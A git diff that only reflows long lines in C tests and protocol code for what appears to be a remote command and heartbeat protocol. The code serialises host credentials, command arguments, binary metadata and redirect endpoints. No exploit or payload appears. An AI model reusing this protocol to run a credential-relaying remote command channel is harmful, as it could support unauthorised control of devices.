assert(!prne_htbt_set_cmd(&cmd_a, too_long_mem_args));
// empty cmd
- assert(prne_htbt_set_cmd(&cmd_a, NULL) && cmd_a.argc == 0 && cmd_a.args == NULL && cmd_a.mem == NULL && cmd_a.mem_len == 0);
- assert(prne_htbt_set_cmd(&cmd_a, empty_args) && cmd_a.argc == 0 && cmd_a.args == NULL && cmd_a.mem == NULL && cmd_a.mem_len == 0);
- assert(prne_htbt_ser_cmd(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &cmd_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ prne_htbt_set_cmd(&cmd_a, NULL) &&
+ cmd_a.argc == 0 &&
+ cmd_a.args == NULL &&
+ cmd_a.mem == NULL &&
+ cmd_a.mem_len == 0);
+ assert(
+ prne_htbt_set_cmd(&cmd_a, empty_args) &&
+ cmd_a.argc == 0 &&
+ cmd_a.args == NULL &&
+ cmd_a.mem == NULL &&
+ cmd_a.mem_len == 0);
+ assert(prne_htbt_ser_cmd(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &cmd_a) == PRNE_HTBT_SER_RC_OK);
assert(proto_buf_cnt_len == 2 && memcmp(proto_buf, "\x00\x00", 2) == 0);
prne_htbt_free_cmd(&cmd_a);
// cmd
prne_htbt_init_cmd(&cmd_a);
prne_htbt_init_cmd(&cmd_b);
assert(prne_htbt_set_cmd(&cmd_a, test_args));
- assert(prne_htbt_ser_cmd(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &cmd_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == sizeof(test_args_mem) && memcmp(proto_buf, test_args_mem, sizeof(test_args_mem)) == 0);
- assert(prne_htbt_dser_cmd(proto_buf, proto_buf_cnt_len, &actual, &cmd_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_cmd(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &cmd_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == sizeof(test_args_mem) &&
+ memcmp(proto_buf, test_args_mem, sizeof(test_args_mem)) == 0);
+ assert(prne_htbt_dser_cmd(
+ proto_buf,
+ proto_buf_cnt_len,
+ &actual,
+ &cmd_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_cmd(&cmd_a, &cmd_b));
prne_htbt_free_cmd(&cmd_a);
prne_htbt_free_cmd(&cmd_b);
@@ -265,9 +490,20 @@ static void test_ser (void) {
prne_htbt_init_bin_meta(&bm_b);
assert(prne_htbt_set_cmd(&bm_a.cmd, test_args));
bm_a.bin_size = 0xBBAAEE;
- assert(prne_htbt_ser_bin_meta(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &bm_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == sizeof(test_args_mem) + 3 && memcmp(proto_buf, "\xBB\xAA\xEE", 3) == 0 && memcmp(proto_buf + 3, test_args_mem, sizeof(test_args_mem)) == 0);
- assert(prne_htbt_dser_bin_meta(proto_buf, proto_buf_cnt_len, &actual, &bm_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_bin_meta(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &bm_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == sizeof(test_args_mem) + 3 &&
+ memcmp(proto_buf, "\xBB\xAA\xEE", 3) == 0 &&
+ memcmp(proto_buf + 3, test_args_mem, sizeof(test_args_mem)) == 0);
+ assert(prne_htbt_dser_bin_meta(
+ proto_buf,
+ proto_buf_cnt_len,
+ &actual,
+ &bm_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_bin_meta(&bm_a, &bm_b));
prne_htbt_free_bin_meta(&bm_a);
prne_htbt_free_bin_meta(&bm_b);
@@ -296,7 +532,11 @@ static void test_ser (void) {
"\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xA\xB\xC\xD\xE\xF"
"\xBE\xEF",
24) == 0);
- assert(prne_htbt_dser_hover(proto_buf, proto_buf_cnt_len, &actual, &hv_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_dser_hover(
+ proto_buf,
+ proto_buf_cnt_len,
+ &actual,
+ &hv_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_hover(&hv_a, &hv_b));
prne_htbt_free_hover(&hv_a);
prne_htbt_free_hover(&hv_b);
diff --git a/src/proone-test_util.c b/src/proone-test_util.c
index a5fac30..c704d70 100644
--- a/src/proone-test_util.c
+++ b/src/proone-test_util.c
@@ -63,7 +63,11 @@ static void test_alloc (void) {
prne_free(NULL);
errno = 0;
- assert(prne_malloc(0, 0) == NULL && prne_malloc(1, 0) == NULL && prne_malloc(0, 1) == NULL && errno == 0);
+ assert(
+ prne_malloc(0, 0) == NULL &&
+ prne_malloc(1, 0) == NULL &&
+ prne_malloc(0, 1) == NULL &&
+ errno == 0);
errno = 0;
assert(prne_malloc(2, SIZE_MAX / 2 + 1) == NULL);
assert(errno == ENOMEM);
@@ -72,7 +76,11 @@ static void test_alloc (void) {
assert(errno == ENOMEM);
errno = 0;
- assert(prne_calloc(0, 0) == NULL && prne_calloc(1, 0) == NULL && prne_calloc(0, 1) == NULL && errno == 0);
+ assert(
+ prne_calloc(0, 0) == NULL &&
+ prne_calloc(1, 0) == NULL &&
+ prne_calloc(0, 1) == NULL &&
+ errno == 0);
errno = 0;
assert(prne_calloc(2, SIZE_MAX / 2 + 1) == NULL);
assert(errno == ENOMEM);
@@ -81,7 +89,11 @@ static void test_alloc (void) {
assert(errno == ENOMEM);
errno = 0;
- assert(prne_realloc(NULL, 0, 0) == NULL && prne_realloc(NULL, 1, 0) == NULL && prne_realloc(NULL, 0, 1) == NULL && errno == 0);
+ assert(
+ prne_realloc(NULL, 0, 0) == NULL &&
+ prne_realloc(NULL, 1, 0) == NULL &&
+ prne_realloc(NULL, 0, 1) == NULL &&
+ errno == 0);
errno = 0;
assert(prne_realloc(NULL, 2, SIZE_MAX / 2 + 1) == NULL);
assert(errno == ENOMEM);
@@ -96,9 +108,12 @@ static void test_alloc (void) {
static void test_uuid (void) {
static const char *sample_str = "f31605bb-5ec9-46e7-918d-4810a39a858d";
- static const uint8_t sample_arr[16] = { 0xf3, 0x16, 0x05, 0xbb, 0x5e, 0xc9, 0x46, 0xe7, 0x91, 0x8d, 0x48, 0x10, 0xa3, 0x9a, 0x85, 0x8d };
+ static const uint8_t sample_arr[16] = {
+ 0xf3, 0x16, 0x05, 0xbb, 0x5e, 0xc9, 0x46, 0xe7,
+ 0x91, 0x8d, 0x48, 0x10, 0xa3, 0x9a, 0x85, 0x8d
+ };
static const char *empty_str = "00000000-0000-0000-0000-000000000000";
- static const uint8_t empty_arr[16] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
+ static const uint8_t empty_arr[16];
uint8_t out_arr[16];
char out_str[37];
@@ -120,12 +135,20 @@ static void test_uuid (void) {
assert(!prne_uuid_fromstr("", out_arr));
assert(errno == EINVAL);
errno = 0;
- assert(!prne_uuid_fromstr("f31605bb-5ec9-46e7-918d-4810a39a858da", out_arr));
+ assert(!prne_uuid_fromstr(
+ "f31605bb-5ec9-46e7-918d-4810a39a858da",
+ out_arr));
assert(errno == EINVAL);
- assert(!prne_uuid_fromstr("f31605bb-5ec9-46e7-918d-4810a39a858d-", out_arr));
+ assert(!prne_uuid_fromstr(
+ "f31605bb-5ec9-46e7-918d-4810a39a858d-",
+ out_arr));
assert(errno == EINVAL);
- assert(!prne_uuid_fromstr("f31605bb-5ec9-46e7-918d-4810Z39a858d", out_arr));
+ assert(!prne_uuid_fromstr(
+ "f31605bb-5ec9-46e7-918d-4810Z39a858d",
+ out_arr));
assert(errno == EINVAL);
- assert(!prne_uuid_fromstr("f31605bb-5ec9046e7-918d-4810a39a858d", out_arr));
+ assert(!prne_uuid_fromstr(
+ "f31605bb-5ec9046e7-918d-4810a39a858d",
+ out_arr));
assert(errno == EINVAL);
}
diff --git a/src/protocol.c b/src/protocol.c
index 510864d..dd61fd5 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -74,25 +74,39 @@ bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b) {
return memcmp(a->addr, b->addr, l) == 0;
}
-void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) {
+void prne_net_ep_tosin4 (
+ const prne_net_endpoint_t *ep,
+ struct sockaddr_in *out)
+{
memcpy(&out->sin_addr, ep->addr.addr, 4);
out->sin_family = AF_INET;
out->sin_port = htons(ep->port);
}
-void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out) {
+void prne_net_ep_tosin6 (
+ const prne_net_endpoint_t *ep,
+ struct sockaddr_in6 *out)
+{
memcpy(&out->sin6_addr, ep->addr.addr, 16);
out->sin6_family = AF_INET6;
out->sin6_port = htons(ep->port);
}
-bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out) {
+bool prne_net_ep_set_ipv4 (
+ const char *str,
+ const uint16_t port,
+ prne_net_endpoint_t *out)
+{
out->port = port;
out->addr.ver = PRNE_IPV_4;
return inet_pton(AF_INET, str, &out->addr.addr) != 0;
}
-bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out) {
+bool prne_net_ep_set_ipv6 (
+ const char *str,
+ const uint16_t port,
+ prne_net_endpoint_t *out)
+{
out->port = port;
out->addr.ver = PRNE_IPV_6;
return inet_pton(AF_INET6, str, &out->addr.addr) != 0;
@@ -106,7 +120,10 @@ void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh) {
void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh) {}
-bool prne_htbt_eq_msg_head (const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b) {
+bool prne_htbt_eq_msg_head (
+ const prne_htbt_msg_head_t *a,
+ const prne_htbt_msg_head_t *b)
+{
return
a->id == b->id &&
a->op == b->op &&
@@ -120,7 +137,10 @@ void prne_htbt_init_status (prne_htbt_status_t *s) {
void prne_htbt_free_status (prne_htbt_status_t *s) {}
-bool prne_htbt_eq_status (const prne_htbt_status_t *a, const prne_htbt_status_t *b) {
+bool prne_htbt_eq_status (
+ const prne_htbt_status_t *a,
+ const prne_htbt_status_t *b)
+{
return
a->code == b->code &&
a->err == b->err;
@@ -131,7 +151,11 @@ void prne_init_host_cred (prne_host_cred_t *hc) {
hc->pw = NULL;
}
-bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len) {
+bool prne_alloc_host_cred (
+ prne_host_cred_t *hc,
+ const uint8_t id_len,
+ const uint8_t pw_len)
+{
char *id, *pw;
id = prne_alloc_str(id_len);
@@ -165,7 +189,12 @@ bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b) {
prne_nstreq(a->pw, b->pw);
}
-prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in) {
+prne_htbt_ser_rc_t prne_enc_host_cred (
+ uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ const prne_host_cred_t *in)
+{
const size_t id_len = prne_nstrlen(in->id);
const size_t pw_len = prne_nstrlen(in->pw);
@@ -185,7 +214,11 @@ prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out) {
+prne_htbt_ser_rc_t prne_dec_host_cred (
+ const uint8_t *data,
+ const size_t len,
+ prne_host_cred_t *out)
+{
size_t id_len, pw_len;
char *id, *pw, *end;
@@ -217,7 +250,10 @@ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
hi->arch = PRNE_ARCH_NONE;
}
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len) {
+bool prne_htbt_alloc_host_info (
+ prne_htbt_host_info_t *hi,
+ const size_t cred_len)
+{
void *ny_mem;
if (cred_len > 255) {
@@ -245,7 +281,10 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) {
hi->host_cred_len = 0;
}
-bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b) {
+bool prne_htbt_eq_host_info (
+ const prne_htbt_host_info_t *a,
+ const prne_htbt_host_info_t *b)
+{
return
a->parent_uptime == b->parent_uptime &&
a->child_uptime == b->child_uptime &&
@@ -269,7 +308,11 @@ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) {
cmd->detach = false;
}
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len) {
+bool prne_htbt_alloc_cmd (
+ prne_htbt_cmd_t *cmd,
+ const size_t argc,
+ const size_t *args_len)
+{
size_t i, str_size, pos, mem_len;
char *mem = NULL;
char **args = NULL;
@@ -412,7 +455,10 @@ void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb) {
prne_htbt_free_cmd(&nb->cmd);
}
-bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b) {
+bool prne_htbt_eq_bin_meta (
+ const prne_htbt_bin_meta_t *a,
+ const prne_htbt_bin_meta_t *b)
+{
return
a->bin_size == b->bin_size &&
prne_htbt_eq_cmd(&a->cmd, &b->cmd);
@@ -424,7 +470,10 @@ void prne_htbt_init_hover (prne_htbt_hover_t *ho) {
void prne_htbt_free_hover (prne_htbt_hover_t *ho) {}
-bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b) {
+bool prne_htbt_eq_hover (
+ const prne_htbt_hover_t *a,
+ const prne_htbt_hover_t *b)
+{
return
memcmp(a->v4.addr, b->v4.addr, 4) == 0 &&
memcmp(a->v6.addr, b->v6.addr, 16) == 0 &&
@@ -445,14 +494,22 @@ void prne_htbt_init_stdio (prne_htbt_stdio_t *s) {
void prne_htbt_free_stdio (prne_htbt_stdio_t *s) {}
-bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b) {
+bool prne_htbt_eq_stdio (
+ const prne_htbt_stdio_t *a,
+ const prne_htbt_stdio_t *b)
+{
return
a->len == b->len &&
a->err == b->err &&
a->fin == b->fin;
}
-prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_msg_head (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_msg_head_t *in)
+{
uint16_t id;
*actual = 3;
@@ -474,7 +531,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, s
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_status (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_status_t *in)
+{
*actual = 5;
if (mem_len < *actual) {
@@ -490,7 +552,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, siz
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_host_info (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_host_info_t *in)
+{
if (in->host_cred_len > 255) {
return PRNE_HTBT_SER_RC_FMT_ERR;
}
@@ -554,7 +621,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len,
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_hover (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_hover (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_hover_t *in)
+{
*actual = 24;
if (mem_len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
@@ -570,9 +642,17 @@ prne_htbt_ser_rc_t prne_htbt_ser_hover (uint8_t *mem, const size_t mem_len, size
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_cmd (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_cmd_t *in)
+{
if (in->mem_len > 0) {
- if (in->mem_len > PRNE_HTBT_ARG_MEM_MAX || in->argc == 0 || in->mem[in->mem_len - 1] != 0) {
+ if (in->mem_len > PRNE_HTBT_ARG_MEM_MAX ||
+ in->argc == 0 ||
+ in->mem[in->mem_len - 1] != 0)
+ {
return PRNE_HTBT_SER_RC_FMT_ERR;
}
}
@@ -589,7 +669,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_bin_meta_t *in)
+{
*actual = in->cmd.mem_len + 5;
if (mem_len < *actual) {
@@ -606,7 +691,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, s
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in) {
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_stdio_t *in)
+{
*actual = 2;
if (in->len > PRNE_HTBT_STDIO_LEN_MAX) {
return PRNE_HTBT_SER_RC_FMT_ERR;
@@ -625,7 +715,12 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size
}
-prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_msg_head (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_msg_head_t *out)
+{
*actual = 3;
if (len < *actual) {
@@ -639,7 +734,12 @@ prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t le
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_status (
+ uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_status_t *out)
+{
*actual = 5;
if (len < *actual) {
@@ -652,7 +752,12 @@ prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_host_info (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_host_info_t *out)
+{
size_t cred_size;
*actual = 94;
@@ -731,7 +836,12 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_dser_hover (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_hover (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_hover_t *out)
+{
*actual = 24;
if (*actual > len) {
return PRNE_HTBT_SER_RC_MORE_BUF;
@@ -745,7 +855,12 @@ prne_htbt_ser_rc_t prne_htbt_dser_hover (const uint8_t *data, const size_t len,
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_cmd (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_cmd_t *out)
+{
size_t args_len, argc;
char **args = NULL;
char *mem = NULL;
@@ -806,7 +921,12 @@ END:
return ret;
}
-prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_bin_meta_t *out)
+{
size_t chain_actual;
prne_htbt_ser_rc_t ret;
@@ -825,7 +945,12 @@ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t le
return PRNE_HTBT_SER_RC_OK;
}
-prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out) {
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_stdio_t *out)
+{
*actual = 2;
if (len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
@@ -838,7 +963,14 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len,
return PRNE_HTBT_SER_RC_OK;
}
-char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args) {
+char **prne_htbt_parse_args (
+ char *m_args,
+ const size_t args_size,
+ const size_t add_argc,
+ char **add_args,
+ size_t *argc,
+ const size_t max_args)
+{
char *ptr, *end = m_args + args_size, *next;
size_t i, cnt;
char **ret;
diff --git a/src/protocol.h b/src/protocol.h
index d89b9e3..12b8015 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -49,8 +49,12 @@ typedef enum {
PRNE_IPV_6
} prne_ipv_t;
-prne_static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4");
-prne_static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16");
+prne_static_assert(
+ sizeof(struct in_addr) == 4,
+ "sizeof(struct in_addr) == 4");
+prne_static_assert(
+ sizeof(struct in6_addr) == 16,
+ "sizeof(struct in6_addr) == 16");
struct prne_ip_addr {
uint8_t addr[16];
prne_ipv_t ver;
@@ -261,8 +265,16 @@ struct prne_htbt_stdio {
typedef void(*prne_htbt_init_ft)(void *ptr);
typedef void(*prne_htbt_free_ft)(void *ptr);
typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b);
-typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in);
-typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out);
+typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const void *in);
+typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ void *out);
#define PRNE_HTBT_TLS_ALP "prne-htbt"
#define PRNE_HTBT_MSG_ID_MIN 1
@@ -293,64 +305,165 @@ prne_arch_t prne_arch_fstr (const char *str);
bool prne_arch_inrange (const prne_arch_t x);
bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b);
-void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out);
-void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out);
-bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out);
-bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out);
+void prne_net_ep_tosin4 (
+ const prne_net_endpoint_t *ep,
+ struct sockaddr_in *out);
+void prne_net_ep_tosin6 (
+ const prne_net_endpoint_t *ep,
+ struct sockaddr_in6 *out);
+bool prne_net_ep_set_ipv4 (
+ const char *str,
+ const uint16_t port,
+ prne_net_endpoint_t *out);
+bool prne_net_ep_set_ipv6 (
+ const char *str,
+ const uint16_t port,
+ prne_net_endpoint_t *out);
void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh);
void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh);
-bool prne_htbt_eq_msg_head (const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b);
+bool prne_htbt_eq_msg_head (
+ const prne_htbt_msg_head_t *a,
+ const prne_htbt_msg_head_t *b);
void prne_htbt_init_status (prne_htbt_status_t *s);
void prne_htbt_free_status (prne_htbt_status_t *s);
-bool prne_htbt_eq_status (const prne_htbt_status_t *a, const prne_htbt_status_t *b);
+bool prne_htbt_eq_status (
+ const prne_htbt_status_t *a,
+ const prne_htbt_status_t *b);
void prne_init_host_cred (prne_host_cred_t *hc);
-bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len);
+bool prne_alloc_host_cred (
+ prne_host_cred_t *hc,
+ const uint8_t id_len,
+ const uint8_t pw_len);
void prne_free_host_cred (prne_host_cred_t *hc);
bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b);
-prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in);
-prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out);
+prne_htbt_ser_rc_t prne_enc_host_cred (
+ uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ const prne_host_cred_t *in);
+prne_htbt_ser_rc_t prne_dec_host_cred (
+ const uint8_t *data,
+ const size_t len,
+ prne_host_cred_t *out);
void prne_htbt_init_host_info (prne_htbt_host_info_t *hi);
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_len);
+bool prne_htbt_alloc_host_info (
+ prne_htbt_host_info_t *hi,
+ const size_t cred_len);
void prne_htbt_free_host_info (prne_htbt_host_info_t *hi);
-bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b);
+bool prne_htbt_eq_host_info (
+ const prne_htbt_host_info_t *a,
+ const prne_htbt_host_info_t *b);
void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd);
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len);
+bool prne_htbt_alloc_cmd (
+ prne_htbt_cmd_t *cmd,
+ const size_t argc,
+ const size_t *args_len);
bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args);
void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd);
bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b);
void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb);
void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb);
-bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b);
+bool prne_htbt_eq_bin_meta (
+ const prne_htbt_bin_meta_t *a,
+ const prne_htbt_bin_meta_t *b);
void prne_htbt_init_hover (prne_htbt_hover_t *ho);
void prne_htbt_free_hover (prne_htbt_hover_t *ho);
-bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b);
-bool prne_htbt_cp_hover (const prne_htbt_hover_t *a, prne_htbt_hover_t *b);
+bool prne_htbt_eq_hover (
+ const prne_htbt_hover_t *a,
+ const prne_htbt_hover_t *b);
+bool prne_htbt_cp_hover (
+ const prne_htbt_hover_t *a,
+ prne_htbt_hover_t *b);
void prne_htbt_init_stdio (prne_htbt_stdio_t *s);
void prne_htbt_free_stdio (prne_htbt_stdio_t *s);
-bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b);
-
-prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_hover (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in);
